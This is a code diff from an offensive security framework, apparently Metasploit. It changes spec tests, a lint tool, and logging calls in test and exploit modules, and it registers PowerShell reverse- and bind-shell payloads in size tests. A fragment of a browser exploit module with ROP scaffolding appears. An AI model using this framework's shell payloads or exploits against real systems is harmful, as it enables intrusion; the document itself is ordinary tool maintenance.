set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => #{file_contents}$/)
end
end
context "when the size is greater than 1MB" do
let(:file_name) do
::Rex::Text.rand_text_alpha(10).upcase
end
let(:file_contents) do
::Rex::Text.rand_text_alpha(1024 * 1025).upcase
end
it "should show the old value" do
set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => $/)
end
end
context "when the size is less than 1MB" do
let(:file_name) do
::Rex::Text.rand_text_alpha(10).upcase
end
let(:file_contents) do
::Rex::Text.rand_text_alpha(10).upcase
end
it "should show the new value" do
set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => #{file_contents}$/)
end
end
end
context "when the file doesn't exist" do
it "should show the old value" do
set_and_test_variable(name, nil, "file:/#{::Rex::Text.rand_text_alpha(10).upcase}", nil, /^#{name} => $/)
end
end
end
end end
end end
end end

View File

@ -141,6 +141,71 @@ describe Rex::Proto::Http::Response do
cookies.split(';').map(&:strip) cookies.split(';').map(&:strip)
end end
describe '#get_hidden_inputs' do
let(:response) do
res = Rex::Proto::Http::Response.new(200, 'OK')
res.body = %Q|
<html>
<head>
<body>
<form action="test.php">
<input name="input_1" type="hidden" value="some_value_1" />
</form>
<form>
<input name="input_0" type="text" value="Not a hidden input" />
<input name="input_1" type="hidden" value="some_value_1" />
<INPUT name="input_2" type="hidden" value="" />
</form>
</body>
</head>
</htm>
|
res
end
subject do
cli = Rex::Proto::Http::Client.new('127.0.0.1')
cli.connect
req = cli.request_cgi({'uri'=>'/'})
res = cli.send_recv(req)
res
end
before(:each) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
context 'when an HTML page contains two forms containing hidden inputs' do
it 'returns an array' do
expect(subject.get_hidden_inputs).to be_kind_of(Array)
end
it 'returns hashes in the array' do
subject.get_hidden_inputs.each do |form|
expect(form).to be_kind_of(Hash)
end
end
it 'returns \'some_value_1\' in the input_1 hidden input from the first element' do
expect(subject.get_hidden_inputs[0]['input_1']).to eq('some_value_1')
end
it 'returns two hidden inputs in the second element' do
expect(subject.get_hidden_inputs[1].length).to eq(2)
end
it 'returns an empty string for the input_2 hidden input from the second element' do
expect(subject.get_hidden_inputs[1]['input_2']).to be_empty
end
end
end
context "#get_cookies" do context "#get_cookies" do
it 'returns empty string for no Set-Cookies' do it 'returns empty string for no Set-Cookies' do

View File

@ -758,6 +758,26 @@ describe 'modules/payloads', :content do
reference_name: 'cmd/windows/generic' reference_name: 'cmd/windows/generic'
end end
context 'cmd/windows/powershell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/windows/powershell_bind_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/windows/powershell_bind_tcp'
end
context 'cmd/windows/powershell_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/windows/powershell_reverse_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/windows/powershell_reverse_tcp'
end
context 'cmd/windows/reverse_lua' do context 'cmd/windows/reverse_lua' do
it_should_behave_like 'payload cached size is consistent', it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [ ancestor_reference_names: [
@ -3794,6 +3814,26 @@ describe 'modules/payloads', :content do
reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp' reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
end end
context 'windows/powershell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/powershell_bind_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/powershell_bind_tcp'
end
context 'windows/powershell_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/windows/powershell_reverse_tcp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/powershell_reverse_tcp'
end
context 'windows/shell/bind_hidden_ipknock_tcp' do context 'windows/shell/bind_hidden_ipknock_tcp' do
it_should_behave_like 'payload cached size is consistent', it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [ ancestor_reference_names: [

View File

@ -1,5 +1,4 @@
shared_examples_for 'Msf::Module::UI::Message::Verbose' do shared_examples_for 'Msf::Module::UI::Message::Verbose' do
it { is_expected.to respond_to :vprint_debug }
it { is_expected.to respond_to :vprint_error } it { is_expected.to respond_to :vprint_error }
it { is_expected.to respond_to :vprint_good } it { is_expected.to respond_to :vprint_good }
it { is_expected.to respond_to :vprint_status } it { is_expected.to respond_to :vprint_status }

View File

@ -34,12 +34,12 @@ class Metasploit3 < Msf::Auxiliary
end end
def check def check
print_debug "Check is successful" vprint_status("Check is successful")
return Msf::Exploit::CheckCode::Vulnerable return Msf::Exploit::CheckCode::Vulnerable
end end
def run def run
print_debug "Run is successful." vprint_status("Run is successful.")
end end
end end

View File

@ -34,12 +34,12 @@ class Metasploit3 < Msf::Auxiliary
end end
def check def check
print_debug "Check is successful" vprint_status("Check is successful")
return Msf::Exploit::CheckCode::Vulnerable return Msf::Exploit::CheckCode::Vulnerable
end end
def run def run
print_debug "Run is successful." vprint_status("Run is successful.")
end end
end end

View File

@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def on_request_exploit(cli, request, target_info) def on_request_exploit(cli, request, target_info)
print_debug("Target selected: #{get_target.name}") vprint_status("Target selected: #{get_target.name}")
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*"))) print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*"))) print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
p = get_payload(cli, target_info) p = get_payload(cli, target_info)
@ -148,4 +148,4 @@ end
=begin =begin
Example of raw target_info: Example of raw target_info:
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true} {:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
=end =end

View File

@ -32,12 +32,12 @@ class Metasploit3 < Msf::Exploit
end end
def check def check
print_debug "Check is successful" vprint_status("Check is successful")
return Msf::Exploit::CheckCode::Vulnerable return Msf::Exploit::CheckCode::Vulnerable
end end
def exploit def exploit
print_debug "Exploit is successful." vprint_status("Exploit is successful.")
end end
end end

View File

@ -601,6 +601,33 @@ class Msftidy
end end
end end
# Check for (v)print_debug usage, since it doesn't exist anymore
#
# @see https://github.com/rapid7/metasploit-framework/issues/3816
def check_print_debug
if @source =~ /print_debug/
error('Please don\'t use (v)print_debug, use vprint_(status|good|error|warning) instead')
end
end
# Check for modules registering the DEBUG datastore option
#
# @see https://github.com/rapid7/metasploit-framework/issues/3816
def check_register_datastore_debug
if @source =~ /Opt.*\.new\(["'](?i)DEBUG(?-i)["']/
error('Please don\'t register a DEBUG datastore option, it has an special meaning and is used for development')
end
end
# Check for modules using the DEBUG datastore option
#
# @see https://github.com/rapid7/metasploit-framework/issues/3816
def check_use_datastore_debug
if @source =~ /datastore\[["'](?i)DEBUG(?-i)["']\]/
error('Please don\'t use the DEBUG datastore option in production, it has an special meaning and is used for development')
end
end
private private
def load_file(file) def load_file(file)
@ -650,6 +677,9 @@ def run_checks(full_filepath)
tidy.check_sock_get tidy.check_sock_get
tidy.check_udp_sock_get tidy.check_udp_sock_get
tidy.check_invalid_url_scheme tidy.check_invalid_url_scheme
tidy.check_print_debug
tidy.check_register_datastore_debug
tidy.check_use_datastore_debug
return tidy return tidy
end end